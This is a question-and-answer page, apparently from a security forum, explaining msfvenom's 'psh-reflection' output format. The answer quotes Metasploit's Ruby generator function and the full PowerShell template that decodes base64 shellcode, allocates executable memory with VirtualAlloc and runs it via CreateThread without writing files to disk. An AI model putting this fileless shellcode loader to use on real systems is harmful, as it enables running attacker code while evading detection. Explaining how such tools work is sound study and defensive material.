1

In "Framework Executable Formats" in msfvenom i see some options (psh,psh-cmd,psh-net,psh-reflection) in this article https://docs.rapid7.com/metasploit/the-payload-generator/ I see some explanation on the differences between psh and psh-cmd but what is it is psh-reflection and where I can find an explanation on the rest, I didn't see any documentation on this (https://www.offensive-security.com/metasploit-unleashed/msfvenom/)

1 Answer 1

1

The psh-reflection payload is implemented by the to_win32pe_psh_reflection function in the rex-powershell module. If you take a look at the payload.rb file, you'll see the following code that builds the reflection payload:

  #
  # Reflection technique prevents the temporary .cs file being created for the .NET compiler
  # Tweaked by shellster
  # Originally from PowerSploit
  #
  def self.to_win32pe_psh_reflection(template_path = TEMPLATE_DIR, code)
    # Intialize rig and value names
    rig = Rex::RandomIdentifier::Generator.new(DEFAULT_RIG_OPTS)
    rig.init_var(:func_get_proc_address)
    rig.init_var(:func_get_delegate_type)
    rig.init_var(:var_code)
    rig.init_var(:var_module)
    rig.init_var(:var_procedure)
    rig.init_var(:var_unsafe_native_methods)
    rig.init_var(:var_parameters)
    rig.init_var(:var_return_type)
    rig.init_var(:var_type_builder)
    rig.init_var(:var_buffer)
    rig.init_var(:var_hthread)
    rig.init_var(:var_opf)

    hash_sub = rig.to_h
    hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)

    read_replace_script_template(template_path, "to_mem_pshreflection.ps1.template",hash_sub).gsub(/(?<!\r)\n/, "\r\n")
  end

This references a template Powershell file, which can be found here. It looks like this:

function %{func_get_proc_address} {
    Param ($%{var_module}, $%{var_procedure})       
    $%{var_unsafe_native_methods} = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    
    return $%{var_unsafe_native_methods}.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($%{var_unsafe_native_methods}.GetMethod('GetModuleHandle')).Invoke($null, @($%{var_module})))), $%{var_procedure}))
}

function %{func_get_delegate_type} {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $%{var_parameters},
        [Parameter(Position = 1)] [Type] $%{var_return_type} = [Void]
    )
    
    $%{var_type_builder} = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $%{var_type_builder}.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
    $%{var_type_builder}.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $%{var_return_type}, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
    
    return $%{var_type_builder}.CreateType()
}

[Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}")
        
$%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualAlloc), (%{func_get_delegate_type} @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $%{var_code}.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length)

$%{var_hthread} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll CreateThread), (%{func_get_delegate_type} @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$%{var_buffer},[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll WaitForSingleObject), (%{func_get_delegate_type} @([IntPtr], [Int32]))).Invoke($%{var_hthread},0xffffffff) | Out-Null

Putting this together, we can figure out what this payload type does. You provide some shellcode to execute, and it wraps it in a Powershell script. The script allocates some unmanaged memory, decodes the shellcode from base64, copies it into the allocated memory, then generates a dynamic assembly with a method that executes the payload.

A benefit of this method is that it doesn't need to drop any additional files when it executes. The dynamic assembly exists only in memory.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .